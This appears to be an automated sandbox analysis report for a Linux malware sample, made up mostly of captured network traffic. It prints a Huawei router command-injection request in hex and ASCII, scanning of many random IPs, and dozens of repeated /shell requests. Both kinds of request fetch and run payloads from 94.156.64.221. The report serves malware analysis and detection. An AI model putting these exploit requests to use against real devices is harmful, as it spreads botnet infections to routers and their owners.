34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/t9lNEiD3ui.elf (PID: 6203)

Socket: 127.0.0.1::46157

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 70.131.248.228
Source: unknown	TCP traffic detected without corresponding DNS query: 111.78.84.76
Source: unknown	TCP traffic detected without corresponding DNS query: 27.145.196.48
Source: unknown	TCP traffic detected without corresponding DNS query: 126.173.227.52
Source: unknown	TCP traffic detected without corresponding DNS query: 150.218.159.61
Source: unknown	TCP traffic detected without corresponding DNS query: 199.132.136.121
Source: unknown	TCP traffic detected without corresponding DNS query: 180.108.138.11
Source: unknown	TCP traffic detected without corresponding DNS query: 192.136.208.225
Source: unknown	TCP traffic detected without corresponding DNS query: 67.230.209.56
Source: unknown	TCP traffic detected without corresponding DNS query: 118.49.119.48
Source: unknown	TCP traffic detected without corresponding DNS query: 208.43.169.205
Source: unknown	TCP traffic detected without corresponding DNS query: 135.195.128.218
Source: unknown	TCP traffic detected without corresponding DNS query: 65.238.176.218
Source: unknown	TCP traffic detected without corresponding DNS query: 134.14.12.5
Source: unknown	TCP traffic detected without corresponding DNS query: 122.71.226.68
Source: unknown	TCP traffic detected without corresponding DNS query: 17.93.104.146
Source: unknown	TCP traffic detected without corresponding DNS query: 189.83.147.223
Source: unknown	TCP traffic detected without corresponding DNS query: 175.135.111.54
Source: unknown	TCP traffic detected without corresponding DNS query: 149.163.234.131
Source: unknown	TCP traffic detected without corresponding DNS query: 197.205.5.130
Source: unknown	TCP traffic detected without corresponding DNS query: 20.151.76.158
Source: unknown	TCP traffic detected without corresponding DNS query: 159.92.92.196
Source: unknown	TCP traffic detected without corresponding DNS query: 177.112.112.134
Source: unknown	TCP traffic detected without corresponding DNS query: 37.157.37.87
Source: unknown	TCP traffic detected without corresponding DNS query: 183.182.194.206
Source: unknown	TCP traffic detected without corresponding DNS query: 194.21.168.48
Source: unknown	TCP traffic detected without corresponding DNS query: 137.27.147.143
Source: unknown	TCP traffic detected without corresponding DNS query: 107.164.73.14
Source: unknown	TCP traffic detected without corresponding DNS query: 35.179.112.215
Source: unknown	TCP traffic detected without corresponding DNS query: 100.16.253.111
Source: unknown	TCP traffic detected without corresponding DNS query: 171.118.251.96
Source: unknown	TCP traffic detected without corresponding DNS query: 27.217.234.183
Source: unknown	TCP traffic detected without corresponding DNS query: 168.97.202.147
Source: unknown	TCP traffic detected without corresponding DNS query: 35.173.99.165
Source: unknown	TCP traffic detected without corresponding DNS query: 182.133.107.162
Source: unknown	TCP traffic detected without corresponding DNS query: 143.129.215.167
Source: unknown	TCP traffic detected without corresponding DNS query: 53.86.120.35
Source: unknown	TCP traffic detected without corresponding DNS query: 94.23.17.17
Source: unknown	TCP traffic detected without corresponding DNS query: 154.9.195.214
Source: unknown	TCP traffic detected without corresponding DNS query: 138.151.225.56
Source: unknown	TCP traffic detected without corresponding DNS query: 131.138.48.194
Source: unknown	TCP traffic detected without corresponding DNS query: 36.45.162.101
Source: unknown	TCP traffic detected without corresponding DNS query: 220.183.106.191
Source: unknown	TCP traffic detected without corresponding DNS query: 166.215.95.47
Source: unknown	TCP traffic detected without corresponding DNS query: 208.179.120.224
Source: unknown	TCP traffic detected without corresponding DNS query: 141.8.39.106
Source: unknown	TCP traffic detected without corresponding DNS query: 170.189.17.116
Source: unknown	TCP traffic detected without corresponding DNS query: 206.42.249.255
Source: unknown	TCP traffic detected without corresponding DNS query: 51.35.254.234
Source: unknown	TCP traffic detected without corresponding DNS query: 179.138.139.6

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
